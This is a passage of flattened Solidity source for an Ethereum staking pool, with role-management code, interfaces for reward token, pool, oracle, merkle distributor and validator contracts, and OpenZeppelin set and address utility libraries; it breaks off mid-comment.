_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(PAUSER_ROLE, _admin);
}
/**
* @dev See {IOwnablePausable-isAdmin}.
*/
function isAdmin(address _account) external override view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-addAdmin}.
*/
function addAdmin(address _account) external override {
grantRole(DEFAULT_ADMIN_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-removeAdmin}.
*/
function removeAdmin(address _account) external override {
revokeRole(DEFAULT_ADMIN_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-isPauser}.
*/
function isPauser(address _account) external override view returns (bool) {
return hasRole(PAUSER_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-addPauser}.
*/
function addPauser(address _account) external override {
grantRole(PAUSER_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-removePauser}.
*/
function removePauser(address _account) external override {
revokeRole(PAUSER_ROLE, _account);
}
/**
* @dev See {IOwnablePausable-pause}.
*/
function pause() external override onlyPauser {
_pause();
}
/**
* @dev See {IOwnablePausable-unpause}.
*/
function unpause() external override onlyPauser {
_unpause();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
/**
* @dev Interface of the RewardEthToken contract.
*/
interface IRewardEthToken is IERC20Upgradeable {
/**
* @dev Structure for storing information about user reward checkpoint.
* @param rewardPerToken - user reward per token.
* @param reward - user reward checkpoint.
*/
struct Checkpoint {
uint128 reward;
uint128 rewardPerToken;
}
/**
* @dev Event for tracking updated protocol fee recipient.
* @param recipient - address of the new fee recipient.
*/
event ProtocolFeeRecipientUpdated(address recipient);
/**
* @dev Event for tracking updated protocol fee.
* @param protocolFee - new protocol fee.
*/
event ProtocolFeeUpdated(uint256 protocolFee);
/**
* @dev Event for tracking whether rewards distribution through merkle distributor is enabled/disabled.
* @param account - address of the account.
* @param isDisabled - whether rewards distribution is disabled.
*/
event RewardsToggled(address indexed account, bool isDisabled);
/**
* @dev Event for tracking rewards update by oracles.
* @param periodRewards - rewards since the last update.
* @param totalRewards - total amount of rewards.
* @param rewardPerToken - calculated reward per token for account reward calculation.
* @param distributorReward - distributor reward.
* @param protocolReward - protocol reward.
*/
event RewardsUpdated(
uint256 periodRewards,
uint256 totalRewards,
uint256 rewardPerToken,
uint256 distributorReward,
uint256 protocolReward
);
/**
* @dev Function for upgrading the RewardEthToken contract. The `initialize` function must be defined
* if deploying contract for the first time that will initialize the state variables above.
* @param _oracles - address of the Oracles contract.
*/
function upgrade(address _oracles) external;
/**
* @dev Function for getting the address of the merkle distributor.
*/
function merkleDistributor() external view returns (address);
/**
* @dev Function for getting the address of the protocol fee recipient.
*/
function protocolFeeRecipient() external view returns (address);
/**
* @dev Function for changing the protocol fee recipient's address.
* @param recipient - new protocol fee recipient's address.
*/
function setProtocolFeeRecipient(address recipient) external;
/**
* @dev Function for getting protocol fee. The percentage fee users pay from their reward for using the pool service.
*/
function protocolFee() external view returns (uint256);
/**
* @dev Function for changing the protocol fee.
* @param _protocolFee - new protocol fee. Must be less than 10000 (100.00%).
*/
function setProtocolFee(uint256 _protocolFee) external;
/**
* @dev Function for retrieving the total rewards amount.
*/
function totalRewards() external view returns (uint128);
/**
* @dev Function for retrieving the last total rewards update block number.
*/
function lastUpdateBlockNumber() external view returns (uint256);
/**
* @dev Function for retrieving current reward per token used for account reward calculation.
*/
function rewardPerToken() external view returns (uint128);
/**
* @dev Function for setting whether rewards are disabled for the account.
* Can only be called by the `StakedEthToken` contract.
* @param account - address of the account to disable rewards for.
* @param isDisabled - whether the rewards will be disabled.
*/
function setRewardsDisabled(address account, bool isDisabled) external;
/**
* @dev Function for retrieving account's current checkpoint.
* @param account - address of the account to retrieve the checkpoint for.
*/
function checkpoints(address account) external view returns (uint128, uint128);
/**
* @dev Function for checking whether account's reward will be distributed through the merkle distributor.
* @param account - address of the account.
*/
function rewardsDisabled(address account) external view returns (bool);
/**
* @dev Function for updating account's reward checkpoint.
* @param account - address of the account to update the reward checkpoint for.
*/
function updateRewardCheckpoint(address account) external returns (bool);
/**
* @dev Function for updating reward checkpoints for two accounts simultaneously (for gas savings).
* @param account1 - address of the first account to update the reward checkpoint for.
* @param account2 - address of the second account to update the reward checkpoint for.
*/
function updateRewardCheckpoints(address account1, address account2) external returns (bool, bool);
/**
* @dev Function for updating validators total rewards.
* Can only be called by Oracles contract.
* @param newTotalRewards - new total rewards.
*/
function updateTotalRewards(uint256 newTotalRewards) external;
/**
* @dev Function for claiming rETH2 from the merkle distribution.
* Can only be called by MerkleDistributor contract.
* @param account - address of the account the tokens will be assigned to.
* @param amount - amount of tokens to assign to the account.
*/
function claim(address account, uint256 amount) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
pragma abicoder v2;
import "./IDepositContract.sol";
import "./IPoolValidators.sol";
/**
* @dev Interface of the Pool contract.
*/
interface IPool {
/**
* @dev Event for tracking registered validators.
* @param publicKey - validator public key.
* @param operator - address of the validator operator.
*/
event ValidatorRegistered(bytes publicKey, address operator);
/**
* @dev Event for tracking refunds.
* @param sender - address of the refund sender.
* @param amount - refunded amount.
*/
event Refunded(address indexed sender, uint256 amount);
/**
* @dev Event for tracking scheduled deposit activation.
* @param sender - address of the deposit sender.
* @param validatorIndex - index of the activated validator.
* @param value - deposit amount to be activated.
*/
event ActivationScheduled(address indexed sender, uint256 validatorIndex, uint256 value);
/**
* @dev Event for tracking activated deposits.
* @param account - account the deposit was activated for.
* @param validatorIndex - index of the activated validator.
* @param value - amount activated.
* @param sender - address of the transaction sender.
*/
event Activated(address indexed account, uint256 validatorIndex, uint256 value, address indexed sender);
/**
* @dev Event for tracking activated validators updates.
* @param activatedValidators - new total amount of activated validators.
* @param sender - address of the transaction sender.
*/
event ActivatedValidatorsUpdated(uint256 activatedValidators, address sender);
/**
* @dev Event for tracking updates to the minimal deposit amount considered for the activation period.
* @param minActivatingDeposit - new minimal deposit amount considered for the activation.
* @param sender - address of the transaction sender.
*/
event MinActivatingDepositUpdated(uint256 minActivatingDeposit, address sender);
/**
* @dev Event for tracking pending validators limit.
* When it's exceeded, the deposits will be set for the activation.
* @param pendingValidatorsLimit - pending validators percent limit.
* @param sender - address of the transaction sender.
*/
event PendingValidatorsLimitUpdated(uint256 pendingValidatorsLimit, address sender);
/**
* @dev Event for tracking added deposits with partner.
* @param partner - address of the partner.
* @param amount - the amount added.
*/
event StakedWithPartner(address indexed partner, uint256 amount);
/**
* @dev Event for tracking added deposits with referrer.
* @param referrer - address of the referrer.
* @param amount - the amount added.
*/
event StakedWithReferrer(address indexed referrer, uint256 amount);
/**
* @dev Function for upgrading the Pools contract. The `initialize` function must be defined if deploying contract
* for the first time that will initialize the state variables above.
* @param _poolValidators - address of the PoolValidators contract.
* @param _oracles - address of the Oracles contract.
*/
function upgrade(address _poolValidators, address _oracles) external;
/**
* @dev Function for getting the total validator deposit.
*/
// solhint-disable-next-line func-name-mixedcase
function VALIDATOR_TOTAL_DEPOSIT() external view returns (uint256);
/**
* @dev Function for retrieving the total amount of pending validators.
*/
function pendingValidators() external view returns (uint256);
/**
* @dev Function for retrieving the total amount of activated validators.
*/
function activatedValidators() external view returns (uint256);
/**
* @dev Function for retrieving the withdrawal credentials used to
* initiate pool validators withdrawal from the beacon chain.
*/
function withdrawalCredentials() external view returns (bytes32);
/**
* @dev Function for getting the minimal deposit amount considered for the activation.
*/
function minActivatingDeposit() external view returns (uint256);
/**
* @dev Function for getting the pending validators percent limit.
* When it's exceeded, the deposits will be set for the activation.
*/
function pendingValidatorsLimit() external view returns (uint256);
/**
* @dev Function for getting the amount of activating deposits.
* @param account - address of the account to get the amount for.
* @param validatorIndex - index of the activated validator.
*/
function activations(address account, uint256 validatorIndex) external view returns (uint256);
/**
* @dev Function for setting minimal deposit amount considered for the activation period.
* @param newMinActivatingDeposit - new minimal deposit amount considered for the activation.
*/
function setMinActivatingDeposit(uint256 newMinActivatingDeposit) external;
/**
* @dev Function for changing the total amount of activated validators.
* @param newActivatedValidators - new total amount of activated validators.
*/
function setActivatedValidators(uint256 newActivatedValidators) external;
/**
* @dev Function for changing pending validators limit.
* @param newPendingValidatorsLimit - new pending validators limit. When it's exceeded, the deposits will be set for the activation.
*/
function setPendingValidatorsLimit(uint256 newPendingValidatorsLimit) external;
/**
* @dev Function for checking whether validator index can be activated.
* @param validatorIndex - index of the validator to check.
*/
function canActivate(uint256 validatorIndex) external view returns (bool);
/**
* @dev Function for retrieving the validator registration contract address.
*/
function validatorRegistration() external view returns (IDepositContract);
/**
* @dev Function for staking ether to the pool to the different tokens' recipient.
* @param recipient - address of the tokens recipient.
*/
function stakeOnBehalf(address recipient) external payable;
/**
* @dev Function for staking ether to the pool.
*/
function stake() external payable;
/**
* @dev Function for staking ether with the partner that will receive the revenue share from the protocol fee.
* @param partner - address of partner who will get the revenue share.
*/
function stakeWithPartner(address partner) external payable;
/**
* @dev Function for staking ether with the partner that will receive the revenue share from the protocol fee
* and the different tokens' recipient.
* @param partner - address of partner who will get the revenue share.
* @param recipient - address of the tokens recipient.
*/
function stakeWithPartnerOnBehalf(address partner, address recipient) external payable;
/**
* @dev Function for staking ether with the referrer who will receive the one time bonus.
* @param referrer - address of referrer who will get its referral bonus.
*/
function stakeWithReferrer(address referrer) external payable;
/**
* @dev Function for staking ether with the referrer who will receive the one time bonus
* and the different tokens' recipient.
* @param referrer - address of referrer who will get its referral bonus.
* @param recipient - address of the tokens recipient.
*/
function stakeWithReferrerOnBehalf(address referrer, address recipient) external payable;
/**
* @dev Function for minting account's tokens for the specific validator index.
* @param account - account address to activate the tokens for.
* @param validatorIndex - index of the activated validator.
*/
function activate(address account, uint256 validatorIndex) external;
/**
* @dev Function for minting account's tokens for the specific validator indexes.
* @param account - account address to activate the tokens for.
* @param validatorIndexes - list of activated validator indexes.
*/
function activateMultiple(address account, uint256[] calldata validatorIndexes) external;
/**
* @dev Function for registering new pool validator registration.
* @param depositData - the deposit data to submit for the validator.
*/
function registerValidator(IPoolValidators.DepositData calldata depositData) external;
/**
* @dev Function for refunding to the pool.
* Can only be executed by the account with admin role.
*/
function refund() external payable;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
import "./IPoolValidators.sol";
pragma abicoder v2;
/**
* @dev Interface of the Oracles contract.
*/
interface IOracles {
/**
* @dev Event for tracking the Oracles contract initialization.
* @param rewardsNonce - rewards nonce the contract was initialized with.
*/
event Initialized(uint256 rewardsNonce);
/**
* @dev Event for tracking oracle rewards votes.
* @param sender - address of the transaction sender.
* @param oracle - address of the account which submitted vote.
* @param nonce - current nonce.
* @param totalRewards - submitted value of total rewards.
* @param activatedValidators - submitted amount of activated validators.
*/
event RewardsVoteSubmitted(
address indexed sender,
address indexed oracle,
uint256 nonce,
uint256 totalRewards,
uint256 activatedValidators
);
/**
* @dev Event for tracking oracle merkle root votes.
* @param sender - address of the transaction sender.
* @param oracle - address of the account which submitted vote.
* @param nonce - current nonce.
* @param merkleRoot - new merkle root.
* @param merkleProofs - link to the merkle proofs.
*/
event MerkleRootVoteSubmitted(
address indexed sender,
address indexed oracle,
uint256 nonce,
bytes32 indexed merkleRoot,
string merkleProofs
);
/**
* @dev Event for tracking validator registration votes.
* @param sender - address of the transaction sender.
* @param oracle - address of the signed oracle.
* @param operator - address of the operator the vote was sent for.
* @param publicKey - public key of the validator the vote was sent for.
* @param nonce - validator registration nonce.
*/
event RegisterValidatorVoteSubmitted(
address indexed sender,
address indexed oracle,
address indexed operator,
bytes publicKey,
uint256 nonce
);
/**
* @dev Event for tracking new or updates oracles.
* @param oracle - address of new or updated oracle.
*/
event OracleAdded(address indexed oracle);
/**
* @dev Event for tracking removed oracles.
* @param oracle - address of removed oracle.
*/
event OracleRemoved(address indexed oracle);
/**
* @dev Constructor for initializing the Oracles contract.
* @param admin - address of the contract admin.
* @param oraclesV1 - address of the Oracles V1 contract.
* @param _rewardEthToken - address of the RewardEthToken contract.
* @param _pool - address of the Pool contract.
* @param _poolValidators - address of the PoolValidators contract.
* @param _merkleDistributor - address of the MerkleDistributor contract.
*/
function initialize(
address admin,
address oraclesV1,
address _rewardEthToken,
address _pool,
address _poolValidators,
address _merkleDistributor
) external;
/**
* @dev Function for checking whether an account has an oracle role.
* @param account - account to check.
*/
function isOracle(address account) external view returns (bool);
/**
* @dev Function for checking whether the oracles are currently voting for new merkle root.
*/
function isMerkleRootVoting() external view returns (bool);
/**
* @dev Function for retrieving current rewards nonce.
*/
function currentRewardsNonce() external view returns (uint256);
/**
* @dev Function for retrieving current validators nonce.
*/
function currentValidatorsNonce() external view returns (uint256);
/**
* @dev Function for adding an oracle role to the account.
* Can only be called by an account with an admin role.
* @param account - account to assign an oracle role to.
*/
function addOracle(address account) external;
/**
* @dev Function for removing an oracle role from the account.
* Can only be called by an account with an admin role.
* @param account - account to remove an oracle role from.
*/
function removeOracle(address account) external;
/**
* @dev Function for submitting oracle vote for total rewards.
* The quorum of signatures over the same data is required to submit the new value.
* @param totalRewards - voted total rewards.
* @param activatedValidators - voted amount of activated validators.
* @param signatures - oracles' signatures.
*/
function submitRewards(
uint256 totalRewards,
uint256 activatedValidators,
bytes[] calldata signatures
) external;
/**
* @dev Function for submitting new merkle root.
* The quorum of signatures over the same data is required to submit the new value.
* @param merkleRoot - hash of the new merkle root.
* @param merkleProofs - link to the merkle proofs.
* @param signatures - oracles' signatures.
*/
function submitMerkleRoot(
bytes32 merkleRoot,
string calldata merkleProofs,
bytes[] calldata signatures
) external;
/**
* @dev Function for submitting registration of the new validator.
* The quorum of signatures over the same data is required to register.
* @param depositData - the deposit data for the registration.
* @param merkleProof - an array of hashes to verify whether the deposit data is part of the deposit data merkle root.
* @param validatorsDepositRoot - validators deposit root to protect from malicious operators.
* @param signatures - oracles' signatures.
*/
function registerValidator(
IPoolValidators.DepositData calldata depositData,
bytes32[] calldata merkleProof,
bytes32 validatorsDepositRoot,
bytes[] calldata signatures
) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "./IOracles.sol";
/**
* @dev Interface of the MerkleDistributor contract.
* Allows anyone to claim a token if they exist in a merkle root.
*/
interface IMerkleDistributor {
/**
* @dev Event for tracking merkle root updates.
* @param sender - address of the new transaction sender.
* @param merkleRoot - new merkle root hash.
* @param merkleProofs - link to the merkle proofs.
*/
event MerkleRootUpdated(
address indexed sender,
bytes32 indexed merkleRoot,
string merkleProofs
);
/**
* @dev Event for tracking periodic tokens distributions.
* @param from - address to transfer the tokens from.
* @param token - address of the token.
* @param beneficiary - address of the beneficiary, the allocation is added to.
* @param amount - amount of tokens to distribute.
* @param startBlock - start block of the tokens distribution.
* @param endBlock - end block of the tokens distribution.
*/
event PeriodicDistributionAdded(
address indexed from,
address indexed token,
address indexed beneficiary,
uint256 amount,
uint256 startBlock,
uint256 endBlock
);
/**
* @dev Event for tracking one time tokens distributions.
* @param from - address to transfer the tokens from.
* @param origin - predefined origin address to label the distribution.
* @param token - address of the token.
* @param amount - amount of tokens to distribute.
* @param rewardsLink - link to the file where rewards are stored.
*/
event OneTimeDistributionAdded(
address indexed from,
address indexed origin,
address indexed token,
uint256 amount,
string rewardsLink
);
/**
* @dev Event for tracking tokens' claims.
* @param account - the address of the user that has claimed the tokens.
* @param index - the index of the user that has claimed the tokens.
* @param tokens - list of token addresses the user got amounts in.
* @param amounts - list of user token amounts.
*/
event Claimed(address indexed account, uint256 index, address[] tokens, uint256[] amounts);
/**
* @dev Function for getting the current merkle root.
*/
function merkleRoot() external view returns (bytes32);
/**
* @dev Function for getting the RewardEthToken contract address.
*/
function rewardEthToken() external view returns (address);
/**
* @dev Function for getting the Oracles contract address.
*/
function oracles() external view returns (IOracles);
/**
* @dev Function for retrieving the last total merkle root update block number.
*/
function lastUpdateBlockNumber() external view returns (uint256);
/**
* @dev Function for upgrading the MerkleDistributor contract. The `initialize` function must be defined
* if deploying contract for the first time that will initialize the state variables above.
* @param _oracles - address of the Oracles contract.
*/
function upgrade(address _oracles) external;
/**
* @dev Function for checking the claimed bit map.
* @param _merkleRoot - the merkle root hash.
* @param _wordIndex - the word index of te bit map.
*/
function claimedBitMap(bytes32 _merkleRoot, uint256 _wordIndex) external view returns (uint256);
/**
* @dev Function for changing the merkle root. Can only be called by `Oracles` contract.
* @param newMerkleRoot - new merkle root hash.
* @param merkleProofs - URL to the merkle proofs.
*/
function setMerkleRoot(bytes32 newMerkleRoot, string calldata merkleProofs) external;
/**
* @dev Function for distributing tokens periodically for the number of blocks.
* @param from - address of the account to transfer the tokens from.
* @param token - address of the token.
* @param beneficiary - address of the beneficiary.
* @param amount - amount of tokens to distribute.
* @param durationInBlocks - duration in blocks when the token distribution should be stopped.
*/
function distributePeriodically(
address from,
address token,
address beneficiary,
uint256 amount,
uint256 durationInBlocks
) external;
/**
* @dev Function for distributing tokens one time.
* @param from - address of the account to transfer the tokens from.
* @param origin - predefined origin address to label the distribution.
* @param token - address of the token.
* @param amount - amount of tokens to distribute.
* @param rewardsLink - link to the file where rewards for the accounts are stored.
*/
function distributeOneTime(
address from,
address origin,
address token,
uint256 amount,
string calldata rewardsLink
) external;
/**
* @dev Function for checking whether the tokens were already claimed.
* @param index - the index of the user that is part of the merkle root.
*/
function isClaimed(uint256 index) external view returns (bool);
/**
* @dev Function for claiming the given amount of tokens to the account address.
* Reverts if the inputs are invalid or the oracles are currently updating the merkle root.
* @param index - the index of the user that is part of the merkle root.
* @param account - the address of the user that is part of the merkle root.
* @param tokens - list of the token addresses.
* @param amounts - list of token amounts.
* @param merkleProof - an array of hashes to verify whether the user is part of the merkle root.
*/
function claim(
uint256 index,
address account,
address[] calldata tokens,
uint256[] calldata amounts,
bytes32[] calldata merkleProof
) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @dev Interface of the PoolValidators contract.
*/
interface IPoolValidators {
/**
* @dev Structure for storing operator data.
* @param depositDataMerkleRoot - validators deposit data merkle root.
* @param committed - defines whether operator has committed its readiness to host validators.
*/
struct Operator {
bytes32 depositDataMerkleRoot;
bool committed;
}
/**
* @dev Structure for passing information about the validator deposit data.
* @param operator - address of the operator.
* @param withdrawalCredentials - withdrawal credentials used for generating the deposit data.
* @param depositDataRoot - hash tree root of the deposit data, generated by the operator.
* @param publicKey - BLS public key of the validator, generated by the operator.
* @param signature - BLS signature of the validator, generated by the operator.
*/
struct DepositData {
address operator;
bytes32 withdrawalCredentials;
bytes32 depositDataRoot;
bytes publicKey;
bytes signature;
}
/**
* @dev Event for tracking new operators.
* @param operator - address of the operator.
* @param depositDataMerkleRoot - validators deposit data merkle root.
* @param depositDataMerkleProofs - validators deposit data merkle proofs.
*/
event OperatorAdded(
address indexed operator,
bytes32 indexed depositDataMerkleRoot,
string depositDataMerkleProofs
);
/**
* @dev Event for tracking operator's commitments.
* @param operator - address of the operator that expressed its readiness to host validators.
*/
event OperatorCommitted(address indexed operator);
/**
* @dev Event for tracking operators' removals.
* @param sender - address of the transaction sender.
* @param operator - address of the operator.
*/
event OperatorRemoved(
address indexed sender,
address indexed operator
);
/**
* @dev Constructor for initializing the PoolValidators contract.
* @param _admin - address of the contract admin.
* @param _pool - address of the Pool contract.
* @param _oracles - address of the Oracles contract.
*/
function initialize(address _admin, address _pool, address _oracles) external;
/**
* @dev Function for retrieving the operator.
* @param _operator - address of the operator to retrieve the data for.
*/
function getOperator(address _operator) external view returns (bytes32, bool);
/**
* @dev Function for checking whether validator is registered.
* @param validatorId - hash of the validator public key to receive the status for.
*/
function isValidatorRegistered(bytes32 validatorId) external view returns (bool);
/**
* @dev Function for adding new operator.
* @param _operator - address of the operator to add or update.
* @param depositDataMerkleRoot - validators deposit data merkle root.
* @param depositDataMerkleProofs - validators deposit data merkle proofs.
*/
function addOperator(
address _operator,
bytes32 depositDataMerkleRoot,
string calldata depositDataMerkleProofs
) external;
/**
* @dev Function for committing operator. Must be called by the operator address
* specified through the `addOperator` function call.
*/
function commitOperator() external;
/**
* @dev Function for removing operator. Can be called either by operator or admin.
* @param _operator - address of the operator to remove.
*/
function removeOperator(address _operator) external;
/**
* @dev Function for registering the validator.
* @param depositData - deposit data of the validator.
* @param merkleProof - an array of hashes to verify whether the deposit data is part of the merkle root.
*/
function registerValidator(DepositData calldata depositData, bytes32[] calldata merkleProof) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @dev Interface of the Oracles V1 contract.
*/
interface IOraclesV1 {
/**
* @dev Function for retrieving current rewards nonce.
*/
function currentNonce() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
